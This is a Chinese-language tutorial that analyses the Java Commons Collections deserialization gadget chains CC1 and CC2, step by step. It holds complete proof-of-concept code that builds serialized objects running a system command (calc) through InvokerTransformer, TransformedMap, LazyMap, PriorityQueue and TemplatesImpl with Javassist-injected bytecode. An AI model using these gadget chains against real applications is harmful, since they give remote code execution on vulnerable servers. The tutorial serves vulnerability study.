【Java安全】CC链分析(CC1+CC2)

CC链分析

CC链1

环境部署

复制代码
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

流程分析

入口:org.apache.commons.collections.Transformer

其中有21个实现方法

我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法

input,iMethodName,iParamTypes,iArgs都是可控的

java 复制代码
//我们来回顾一下如何利用反射调用Runtime中的exec方法
Runtime r=Runtime.getRuntime();
Class c=r.getclass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");

//那么我们尝试用transform方法来调用
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);

可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类

寻找某个类中的某个方法调用了transform方法

看到org.apache.commons.collections.map.TransformedMap下的checkSetValue

java 复制代码
//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,第二个和第三个就是Transformer我们需要得了,可控。
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;//这里是可控的
}


protected Object checkSetValue(Object value) {//接受一个对象类型的参数
    return this.valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的in
}

但是这里有个问题,可以看到构造器和方法都是proteced权限,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

一个静态 方法,这里我们就能控制参数

现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetvalue,看谁调用了它,并且value值可受控制

寻找合适的调用了checkSetValue的方法

AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类

当我们看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValuegetValue,所以我们只要对decorate这个map进行遍历setValue,由于``TransformedMap继承了 AbstractInputCheckedMapDecorator`类,因此当调用setValue时会去父类寻找

重新梳理一遍

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是protected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的副类,这个重写的方法刚好调用了checkSetValue方法

java 复制代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class second {
    public static void main(String[] args) {
        Runtime r  = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }
    }
}

但这只是一个插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能

追寻setValue

追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue

java 复制代码
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();

        @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
        @SuppressWarnings("unchecked")
        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(t);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
        Map<String, Object> mv = new LinkedHashMap<>();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
            String name = memberValue.getKey();
            Object value = null;
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    value = new AnnotationTypeMismatchExceptionProxy(
                                objectToString(value))
                        .setMember(annotationType.members().get(name));
                }
            }
            mv.put(name, value);
        }

我们分析下这个类,未用public声明,说明只能通过反射调用

查看一下构造方法,传入一个class和Map,其中class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target

java 复制代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r  = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
    }
}

现在有个难题是Runtime类是不能被序列化的,但是反射来的类可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:

java 复制代码
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述的代码,得想办法统合起来,这里就需要回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法

我们就可以这样构造:

java 复制代码
Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

进一步构造

java 复制代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filenaem) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filenaem);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

但是这里反序列化并不能执行命令,原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不为空,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性是哪里来的?就是我们最先传入的map map.put("1","2")

获取这个name: 1 ,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

Target是有value这个属性的,所以我们改一下map,map.put("value",1),这样我们就过了第一个if,接着第二个if,这里value只要有值就过了,成功到达setValue,但这里还有最后一问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥

java 复制代码
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

这里要注意降低 JDK 版本到 8u40

以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform

再去看它的构造方法,factory需要我们控制,同样在类内部找哪里调用了这个构造方法

很明显,跟之前类似,就是从checkValue换到了get

那么get在哪里调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get

java 复制代码
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

这里是个动态代理,我们可以用AnnotationInvocationHandler来代理LazyMap,这样就会触发invoke方法

java 复制代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void serialize(Object obj) throws IOException {
        try (FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(obj);
        }
    }

    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        try (FileInputStream fis = new FileInputStream(filename);
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            ois.readObject();
        }
    }

    public static void main(String[] args) throws Exception {
        // 1. 构造执行命令的 Transformer 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 2. 构造 LazyMap(关键:先不执行,避免序列化时触发)
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        // 3. 获取 AnnotationInvocationHandler 构造器
        Class<?> handlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = handlerClazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 4. 直接构造 AnnotationInvocationHandler,不需要 Proxy!
        Object handler = constructor.newInstance(Target.class, lazyMap);

        // 5. 序列化 + 反序列化触发
        serialize(handler);
        deserialize("cc1_lazymap.bin");
    }
}

CC链2

环境部署

xml 复制代码
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>

前置知识(POC1)

Java cc链是什么,cc指的是commons-collections依赖库。它添加了许多强大的数据结构类型并且实现了各种集合工具类。

它被广泛的用于Java应用开发中。

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出"优先级",取出数据的时候会按照优先级来取。

默认优先级队列会根据自然顺序来对元素排序。

而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。

如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

可以看到它继承了AbstractQueue抽象类并且实现了Serializable接口,这就说明它支持反序列化,再来看看它重写的readObject()方法

可以看到上面的方法会调用ObjectInputStream的实例化对象s把queue中的数据进行反序列化

最后再用heapify();来对数据进行排序,再跟进一下heapify()方法

该方法调用siftDown()方法

当i>=0时进入for循环,而i=(size >>> 1)-1将size进行了右移操作,所以size>1才能进入循环

在comparator属性不为空的情况下,调用siftDownUsingComparator()方法

如果为空会创建Comparable比较器并调用compare()方法来排序

这样反序列化后的优先级队列就有了顺序

TransformingComparator

这是触发漏洞的关键点,把Transformer执行点和PriorityQueue触发点结合起来

用Transformer来装饰一个Comparator(比较器),通俗点说就是先把值给Transformer转换,再传递给Comparator比较

compare()方法会先用this.transformer.transform(obj1)方法来转换两个要比较的值

然后再调用compare()方法比较。

POC1分析

java 复制代码
package com.example.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1, Tcomparator);

        queue.add(1);
        queue.add(2);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

通过反射获取Runtime对象

当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;将transformerChain传入TransformingComparator,从而调用transformer方法;new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入

前面说到,size的值要大于1,所以向queue中添加两个元素

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没cc2.txt

调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

继续跟,跟进queue.add(2),调用了offer方法

跟进offer方法,进入else分支,调用了siftup方法

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

继续跟

跟进,这里会执行两次命令;

但是return的值为0,程序就结束了,并没有执行poc后面序列化和反序列化的代码。

那么如何让return不为0呢

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable,即comparator参数为null,修改代码,不传入comparator参数

复制代码
PriorityQueue queue = new PriorityQueue(1);

再调试看看

这下comparator参数为null;

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

这样就只是单纯给queue[1]

返回后就执行序列化代码生成了cc2.txt,但是并没有执行命令,还是不行

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数

java 复制代码
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
 field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法就会进入siftUpUsingComparator方法,调用compare方法,从而执行命令

完整poc1

java 复制代码
package com.example.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
    public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前置知识(POC2)

Javassit

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。

能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例代码

java 复制代码
package com.example.cc2;

import javassist.*;

public class javassit_test {

    public static void createPerson() throws Exception{
        //实例化一个ClassPool容器
        ClassPool pool = ClassPool.getDefault();
        //新建一个CtClass,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        //设置一个要执行的命令
        String cmd = "System.out.println(\"javassit_test succes!\");";
        //制作一个空的类初始化,并在前面插入要执行的命令语句
        cc.makeClassInitializer().insertBefore(cmd);
        //重新设置一下类名
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //将生成的类文件保存下来
        cc.writeFile();
        //加载该类
        Class c = cc.toClass();
        //创建对象
        c.newInstance();
    }

    public static void main(String[] args) {
        try {
            createPerson();
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

新生成的类是这样子的,其中有一块static代码

当该类被实例化的时候,就会输出static里的语句

TemplatesImpl

TemplatesImpl 加载 _bytecodes 中的字节码时,会用 TransletClassLoader 加载并实例化AbstractTranslet这个类。

这个被加载的类,必须继承 AbstractTranslet ,否则 TemplatesImplgetTransletInstance() 方法会抛出 ClassCastException,直接中断加载流程。

我们写一个demo

在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码。

POC2分析

在ysoserial的cc2中引入了Templateslmpl类来进行承载攻击payload,需要用到javassit

POC2

java 复制代码
package com.example.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class POC2 {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

实例化一个TransformingComparator对象,将transformer传进去

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数为null

java 复制代码
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块

使用Templateslmpl的空参构造方法实例化一个对象

再通过反射对各个字段进行赋值

新建一个对象数组,第一个元素为templates,第二个元素为1

然后通过反射将改数组传到queue中

通过反射将queue的size设为2,与POC1中使用两个add意思一样

通过反射给queue的comparator参数赋值

从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2

跟进siftDown方法,comparator参数就是我们传入的TransformingConparator实例化的对象

到TransformingComparator的compare方法,obj1就是我们传入的templates,这里this.transformer就是我们传入的transformer

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

接着调用templates的newTransformer方法,而templates是Templateslmpl类的实例化对象,也就是调用TransformerImpl.newTransformer()

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法

这就是原来poc中代码赋值的原因

跟进defineTransletClasses方法

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是下面的内容,转换成字节数组

再往下debug

通过loader.defineClass 将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCatxxxx

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,这就是要设置AbstractTranslet类为新建的父类

给_transletIndex赋值为0后,返回到getTransletInstance方法,那么该类中的static代码部分就会执行,成功执行命令